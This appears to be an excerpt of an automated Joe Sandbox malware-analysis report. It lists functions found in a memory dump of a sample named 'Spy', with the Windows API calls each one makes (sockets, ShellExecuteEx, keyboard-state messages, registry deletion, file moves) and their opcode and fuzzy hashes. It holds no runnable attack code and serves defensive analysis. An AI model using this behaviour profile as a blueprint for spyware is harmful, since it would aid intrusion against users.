Instruction ID: 5afa96b13c3df5ceac7b70ed6da994eae5d0774d9b0659143b51b44efa15fede
Opcode Fuzzy Hash: 644a7855fd8e927694ab25af6000970ac039a2bffd9b1e90327413d77330c668
Instruction Fuzzy Hash: 42C18E716043819FCB14EF65C981A5EB7E4FF85354F10492DF8999B2A2EB30EC45CB92

Function 00AF71EE Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00AF72EB
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00AF730C
WSAGetLastError.WSOCK32(00000000), ref: 00AF731F
htons.WSOCK32(?,?,?,00000000,?), ref: 00AF73D5
inet_ntoa.WSOCK32(?), ref: 00AF7392

Part of subcall function 00ADB4EA: _strlen.LIBCMT ref: 00ADB4F4
Part of subcall function 00ADB4EA: _memmove.LIBCMT ref: 00ADB516

_strlen.LIBCMT ref: 00AF742F
_memmove.LIBCMT ref: 00AF7498

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: ddeb6334e474a349d204e9b9439b4e2268962c206db49b7029cb215a504476a9
Instruction ID: d45b2b325cad129298305a29692576b714c812b917817812c0b3bb2f86cd9905
Opcode Fuzzy Hash: ddeb6334e474a349d204e9b9439b4e2268962c206db49b7029cb215a504476a9
Instruction Fuzzy Hash: 7981C271608205AFD710EB64CD81E6FB7F8AF88714F10451DFA569B292EB70DD41CB91

Function 00A81800 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 133ced0a70d2226a8065cc1bec4843ce614177a38e8162c5824fd45b982a6be0
Instruction ID: 094cccb365fe8f95e8811e0b73512f6aa0108fc66aa31d2350ecfbf7abd0b3e1
Opcode Fuzzy Hash: 133ced0a70d2226a8065cc1bec4843ce614177a38e8162c5824fd45b982a6be0
Instruction Fuzzy Hash: 81713A70900109EFDB14AF98CC89AEEBB79FF86314F148159F915AB251C774AA52CFA0

Function 00B0B9C3 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(013954F8), ref: 00B0BA5D
IsWindowEnabled.USER32(013954F8), ref: 00B0BA69
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00B0BB4D
SendMessageW.USER32(013954F8,000000B0,?,?), ref: 00B0BB84
IsDlgButtonChecked.USER32(?,?), ref: 00B0BBC1
GetWindowLongW.USER32(013954F8,000000EC), ref: 00B0BBE3
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00B0BBFB

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 3c9b6bf54d13fed9768dd51d5268253b0e5dc086b443155a61ce16e62240101e
Instruction ID: dca0ec57f2914aa7e3c9da45bc7f42d5ffc65421e54befcd167637ae85a8555d
Opcode Fuzzy Hash: 3c9b6bf54d13fed9768dd51d5268253b0e5dc086b443155a61ce16e62240101e
Instruction Fuzzy Hash: E9718A34A04204AFEB259F54C8D4FBABFE9EF49310F144499E986972A1CF31AD51DB60

Function 00AFFB07 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00AFFB31
_memset.LIBCMT ref: 00AFFBFA
ShellExecuteExW.SHELL32(?), ref: 00AFFC3F

Part of subcall function 00A84D37: __itow.LIBCMT ref: 00A84D62
Part of subcall function 00A84D37: __swprintf.LIBCMT ref: 00A84DAC

Part of subcall function 00A9436A: _wcscpy.LIBCMT ref: 00A9438D

GetProcessId.KERNEL32(00000000), ref: 00AFFCB6
CloseHandle.KERNEL32(00000000), ref: 00AFFCE5

Strings

@, xrefs: 00AFFC0E

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: d596e5244696527b64718365ed00457efe2620db137f6e9499567eedbc8ce6ce
Instruction ID: 7d55c32ec960aad94ba153f7678d7674c2fd6cdcf375455589b086a46dfbb608
Opcode Fuzzy Hash: d596e5244696527b64718365ed00457efe2620db137f6e9499567eedbc8ce6ce
Instruction Fuzzy Hash: 9761BE75A00619DFCB14EFA4C5919AEB7F4FF48310F148569E916AB351DB30AD42CB90

Function 00AE174C Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00AE178B
GetKeyboardState.USER32(?), ref: 00AE17A0
SetKeyboardState.USER32(?), ref: 00AE1801
PostMessageW.USER32(?,00000101,00000010,?), ref: 00AE182F
PostMessageW.USER32(?,00000101,00000011,?), ref: 00AE184E
PostMessageW.USER32(?,00000101,00000012,?), ref: 00AE1894
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00AE18B7

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 9a0a24f6b9f4c303d799c208671b3b69e6621b94cd0f04bf83045a9479727de7
Instruction ID: 82ee237d462e5f9c117b7dd50a39d8cc1a502e0039d28e3e07e8c2d626395c81
Opcode Fuzzy Hash: 9a0a24f6b9f4c303d799c208671b3b69e6621b94cd0f04bf83045a9479727de7
Instruction Fuzzy Hash: 5851C3B0A187E53EFB364326CC55BBA7EE96B06700F088589E0D9468C3D6F89CD4DB50

Function 00AE1565 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00AE15A4
GetKeyboardState.USER32(?), ref: 00AE15B9
SetKeyboardState.USER32(?), ref: 00AE161A
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00AE1646
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00AE1663
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00AE16A7
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00AE16C8

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: a170a9779a71585a42df9f7fb55414ea3857ba3f189fd33091bb17faad572855
Instruction ID: d1e6e92d03ea65ae16656274c05b6e019b4381e2969852d15b7fb6b8f93f4b78
Opcode Fuzzy Hash: a170a9779a71585a42df9f7fb55414ea3857ba3f189fd33091bb17faad572855
Instruction Fuzzy Hash: 7351E7B06047E53DFB328726CC55BBABEA96B05300F0C8589E1D9578C2D6B4EC98E761

Function 00AE5BB8 Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00AE5BC5
_wcsncpy.LIBCMT ref: 00AE5BFA
_wcsncpy.LIBCMT ref: 00AE5C2C
_wcsncpy.LIBCMT ref: 00AE5C5F
_wcsncpy.LIBCMT ref: 00AE5CA1
_wcsncpy.LIBCMT ref: 00AE5CDB
_wcsncpy.LIBCMT ref: 00AE5D0A

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: d4484eae971f9d47439048779801d3b274a30f6c3f6fef9c30caaa00493da6f4
Instruction ID: 5ecdc1792afdb0b0ad334896bdd4bc471586927c894a9e02b3898816d310f502
Opcode Fuzzy Hash: d4484eae971f9d47439048779801d3b274a30f6c3f6fef9c30caaa00493da6f4
Instruction Fuzzy Hash: 3841D366C2065875CF51FBB5CC86ACFB7B8AF06310F508856F509E3161E734A359C3A5

Function 00AE3B64 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE4BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00AE3B8A,?), ref: 00AE4BE0

Part of subcall function 00AE4BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00AE3B8A,?), ref: 00AE4BF9

lstrcmpiW.KERNEL32(?,?), ref: 00AE3BAA
_wcscmp.LIBCMT ref: 00AE3BC6
MoveFileW.KERNEL32(?,?), ref: 00AE3BDE
_wcscat.LIBCMT ref: 00AE3C26
SHFileOperationW.SHELL32(?), ref: 00AE3C92

Strings

\*.*, xrefs: 00AE3C20

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: a91f74432880cc379a2ed7bb8f3d47bd595dd97d253584667238e9d3b190c608
Instruction ID: 126a767007aa4ef79743f36ac13fc95b85d07c8bc67a1ac0346c90293efd02bf
Opcode Fuzzy Hash: a91f74432880cc379a2ed7bb8f3d47bd595dd97d253584667238e9d3b190c608
Instruction Fuzzy Hash: 72418F7250C3849ACB52EF65C585ADFB7ECAF89340F50092EF48AC7191EB34D688C752

Function 00B078B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B078CF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B07976
IsMenu.USER32(?), ref: 00B0798E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00B079D6
DrawMenuBar.USER32 ref: 00B079E9

Strings

0, xrefs: 00B078C3

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 3ee29b26f73b4948beff5d21c846ceeeb4d1e520bb34f84bb300c263659d1a20
Instruction ID: d738b440c664465b0d2ce0818ac95067d8970cc8e6318d280d534dbc6606a22e
Opcode Fuzzy Hash: 3ee29b26f73b4948beff5d21c846ceeeb4d1e520bb34f84bb300c263659d1a20
Instruction Fuzzy Hash: 2B414975A44209EFDB10DF94D884EAABBFAFB05310F0481A9E95597290CB70AD50CFA0

Function 00B01602 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00B01631
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00B0165B
FreeLibrary.KERNEL32(00000000), ref: 00B01712

Part of subcall function 00B01602: RegCloseKey.ADVAPI32(?), ref: 00B01678
Part of subcall function 00B01602: FreeLibrary.KERNEL32(?), ref: 00B016CA
Part of subcall function 00B01602: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00B016ED

RegDeleteKeyW.ADVAPI32(?,?), ref: 00B016B5

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 91b949e569a5935aa1b8e92470421d241d3417ac7d7ecf85b94a461f9c3c4920
Instruction ID: 98d70bee05690573226c61b7a28051d8e8029afe79dd37063c728013d617357a
Opcode Fuzzy Hash: 91b949e569a5935aa1b8e92470421d241d3417ac7d7ecf85b94a461f9c3c4920
Instruction Fuzzy Hash: B7313CB191010DFFDB199F94DC89AFEBBBCEF08300F4045A9F501A2190EA749E859AA0

Function 00B068F2 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00B06911
GetWindowLongW.USER32(013954F8,000000F0), ref: 00B06944
GetWindowLongW.USER32(013954F8,000000F0), ref: 00B06979
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00B069AB
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00B069D5
GetWindowLongW.USER32(?,000000F0), ref: 00B069E6
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00B06A00

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: b3a99c7696e33eacb9a33f1b185668f3fa8ce0364fd4d8ae8875f2c1edf10b62
Instruction ID: df985b2d245e2871dba1dbcb3ddb72bd54c058426e39806a46ef632dd293b302
Opcode Fuzzy Hash: b3a99c7696e33eacb9a33f1b185668f3fa8ce0364fd4d8ae8875f2c1edf10b62
Instruction Fuzzy Hash: BE313234644255AFEB20DF59DC88F643BE1FB4A350F2841A4F5048B6F1CB72ADA0CB91

Function 00ADE287 Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00ADE2CA
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00ADE2F0
SysAllocString.OLEAUT32(00000000), ref: 00ADE2F3
SysAllocString.OLEAUT32(?), ref: 00ADE311
SysFreeString.OLEAUT32(?), ref: 00ADE31A
StringFromGUID2.OLE32(?,?,00000028), ref: 00ADE33F
SysAllocString.OLEAUT32(?), ref: 00ADE34D

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: dfe34934b12ddbeddd4d2db036a8e41350adffac2c495240d16c706c008dcefd
Instruction ID: 8e70a18063dcd7df48972f304eba26b2f8c1be48744780668bbe2e29d070e0c7
Opcode Fuzzy Hash: dfe34934b12ddbeddd4d2db036a8e41350adffac2c495240d16c706c008dcefd
Instruction Fuzzy Hash: 96212176614219AF9F10EFA8DC88DBA77BCEB09360B448126FA15DF350DA70ED858760

Function 00AF685E Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00AF8475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00AF84A0

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00AF68B1
WSAGetLastError.WSOCK32(00000000), ref: 00AF68C0
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00AF68F9
connect.WSOCK32(00000000,?,00000010), ref: 00AF6902
WSAGetLastError.WSOCK32 ref: 00AF690C
closesocket.WSOCK32(00000000), ref: 00AF6935
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00AF694E

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: c1409b712568f8ec45f1c2adb030abdd5ed820b74c5ef14d381871395713ab15
Instruction ID: 037d6459cf27c0fa40a6c3b52d669521cb046bd79eddfd46f1d699548ed44fcb
Opcode Fuzzy Hash: c1409b712568f8ec45f1c2adb030abdd5ed820b74c5ef14d381871395713ab15
Instruction Fuzzy Hash: 0031A471600118AFDB10AFA4CC85BBE77B9EB44765F048029FE05AB291DBB4AC458BA1

Function 00ADE360 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00ADE3A5
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00ADE3CB
SysAllocString.OLEAUT32(00000000), ref: 00ADE3CE
SysAllocString.OLEAUT32 ref: 00ADE3EF
SysFreeString.OLEAUT32 ref: 00ADE3F8
StringFromGUID2.OLE32(?,?,00000028), ref: 00ADE412
SysAllocString.OLEAUT32(?), ref: 00ADE420

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: eb4f22cc112af26d499a10982480fe152190000058a0a9d7080c930168f2cc80
Instruction ID: 45967c014259f426cf56926702c843274e09f68cf6a83e8dc3a4538df22a4488
Opcode Fuzzy Hash: eb4f22cc112af26d499a10982480fe152190000058a0a9d7080c930168f2cc80
Instruction Fuzzy Hash: 06214775604104AFEB50FFA8DC89DAE77ECEB09360B408526F915CF3A0DA75EC818764

Function 00B07BF2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A82111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00A8214F
Part of subcall function 00A82111: GetStockObject.GDI32(00000011), ref: 00A82163
Part of subcall function 00A82111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00A8216D

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00B07C57
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00B07C64
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00B07C6F
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00B07C7E
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00B07C8A

Strings

Msctls_Progress32, xrefs: 00B07C28

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 91dd7314a185114b57b8e0d53b28dc9548a87ed4d37e763d47befa2e6490341f
Instruction ID: 61e5ced6a60e8176f22935a1ef49664890ec8008a765679d7bc40547c4cf08c6
Opcode Fuzzy Hash: 91dd7314a185114b57b8e0d53b28dc9548a87ed4d37e763d47befa2e6490341f
Instruction Fuzzy Hash: B91186B1554219BEFF159F60CC85EE7BF5DEF08758F114115BA04A6090CB71AC21DBA4

Function 00AA9D16 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00AA9D16

Part of subcall function 00AA33B7: EncodePointer.KERNEL32(00000000), ref: 00AA33BA
Part of subcall function 00AA33B7: __initp_misc_winsig.LIBCMT ref: 00AA33D5
Part of subcall function 00AA33B7: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00AAA0D0
Part of subcall function 00AA33B7: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00AAA0E4
Part of subcall function 00AA33B7: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00AAA0F7
Part of subcall function 00AA33B7: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00AAA10A
Part of subcall function 00AA33B7: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00AAA11D
Part of subcall function 00AA33B7: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00AAA130
Part of subcall function 00AA33B7: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00AAA143
Part of subcall function 00AA33B7: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00AAA156
Part of subcall function 00AA33B7: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00AAA169
Part of subcall function 00AA33B7: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00AAA17C
